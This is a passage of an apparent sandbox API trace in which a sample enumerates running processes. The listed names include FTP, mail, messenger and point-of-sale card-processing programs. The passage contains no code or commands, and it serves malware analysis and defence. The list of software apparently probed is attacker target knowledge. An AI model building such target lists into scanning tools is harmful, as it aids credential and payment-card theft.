	[0082.565] lstrlenW (lpString="svchost.exe") returned 11
	[0082.565] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.565] lstrlenW (lpString="svchost.exe") returned 11
	[0082.566] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.566] lstrlenW (lpString="svchost.exe") returned 11
	[0082.566] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0082.567] lstrlenW (lpString="spoolsv.exe") returned 11
	[0082.567] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.567] lstrlenW (lpString="svchost.exe") returned 11
	[0082.567] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0082.568] lstrlenW (lpString="audiodg.exe") returned 11
	[0082.568] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0082.568] lstrlenW (lpString="sihost.exe") returned 10
	[0082.568] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.569] lstrlenW (lpString="svchost.exe") returned 11
	[0082.569] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0082.569] lstrlenW (lpString="taskhostw.exe") returned 13
	[0082.570] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0082.570] lstrlenW (lpString="explorer.exe") returned 12
	[0082.570] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0082.571] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0082.571] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0082.571] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0082.571] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0082.572] lstrlenW (lpString="Memory Compression") returned 18
	[0082.572] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0082.572] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0082.572] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0082.573] lstrlenW (lpString="SearchUI.exe") returned 12
	[0082.573] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0082.573] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0082.573] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0082.574] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0082.574] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0082.574] lstrlenW (lpString="pending.exe") returned 11
	[0082.574] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0082.575] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0082.575] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0082.575] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0082.575] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0082.576] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0082.576] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0082.576] lstrlenW (lpString="search.exe") returned 10
	[0082.576] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0082.725] lstrlenW (lpString="compatibility.exe") returned 17
	[0082.725] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0082.725] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0082.725] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0082.726] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0082.726] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0082.726] lstrlenW (lpString="try.exe") returned 7
	[0082.726] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0082.727] lstrlenW (lpString="consultancy.exe") returned 15
	[0082.727] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0082.727] lstrlenW (lpString="especially.exe") returned 14
	[0082.727] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0082.728] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0082.728] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0082.728] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0082.729] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0082.729] lstrlenW (lpString="modules.exe") returned 11
	[0082.729] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0082.730] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0082.730] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0082.730] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0082.730] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0082.731] lstrlenW (lpString="3dftp.exe") returned 9
	[0082.731] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0082.731] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0082.731] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0082.732] lstrlenW (lpString="alftp.exe") returned 9
	[0082.732] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0082.733] lstrlenW (lpString="barca.exe") returned 9
	[0082.733] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0082.733] lstrlenW (lpString="bitkinex.exe") returned 12
	[0082.734] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0082.734] lstrlenW (lpString="coreftp.exe") returned 11
	[0082.734] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0082.735] lstrlenW (lpString="far.exe") returned 7
	[0082.735] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0082.736] lstrlenW (lpString="filezilla.exe") returned 13
	[0082.736] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0082.737] lstrlenW (lpString="flashfxp.exe") returned 12
	[0082.737] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0082.738] lstrlenW (lpString="fling.exe") returned 9
	[0082.738] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0082.739] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0082.739] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0082.740] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0082.740] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0082.741] lstrlenW (lpString="icq.exe") returned 7
	[0082.741] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0082.742] lstrlenW (lpString="leechftp.exe") returned 12
	[0082.742] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0082.743] lstrlenW (lpString="ncftp.exe") returned 9
	[0082.743] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0082.744] lstrlenW (lpString="notepad.exe") returned 11
	[0082.744] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0082.745] lstrlenW (lpString="operamail.exe") returned 13
	[0082.745] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0082.746] lstrlenW (lpString="pidgin.exe") returned 10
	[0082.746] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0082.747] lstrlenW (lpString="scriptftp.exe") returned 13
	[0082.747] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0082.747] lstrlenW (lpString="skype.exe") returned 9
	[0082.747] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0082.748] lstrlenW (lpString="smartftp.exe") returned 12
	[0082.748] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0082.749] lstrlenW (lpString="thunderbird.exe") returned 15
	[0082.749] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0082.750] lstrlenW (lpString="totalcmd.exe") returned 12
	[0082.750] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0082.751] lstrlenW (lpString="trillian.exe") returned 12
	[0082.751] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0082.751] lstrlenW (lpString="webdrive.exe") returned 12
	[0082.751] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0082.752] lstrlenW (lpString="whatsapp.exe") returned 12
	[0082.752] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0082.753] lstrlenW (lpString="winscp.exe") returned 10
	[0082.753] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0082.754] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0082.754] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0082.755] lstrlenW (lpString="active-charge.exe") returned 17
	[0082.755] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0082.756] lstrlenW (lpString="accupos.exe") returned 11
	[0082.756] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0082.756] lstrlenW (lpString="afr38.exe") returned 9
	[0082.756] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0082.757] lstrlenW (lpString="aldelo.exe") returned 10
	[0082.757] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0082.758] lstrlenW (lpString="ccv_server.exe") returned 14
	[0082.758] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0082.759] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0082.759] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0083.126] lstrlenW (lpString="creditservice.exe") returned 17
	[0083.126] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0083.127] lstrlenW (lpString="edcsvr.exe") returned 10
	[0083.127] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0083.128] lstrlenW (lpString="fpos.exe") returned 8
	[0083.128] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0083.128] lstrlenW (lpString="isspos.exe") returned 10
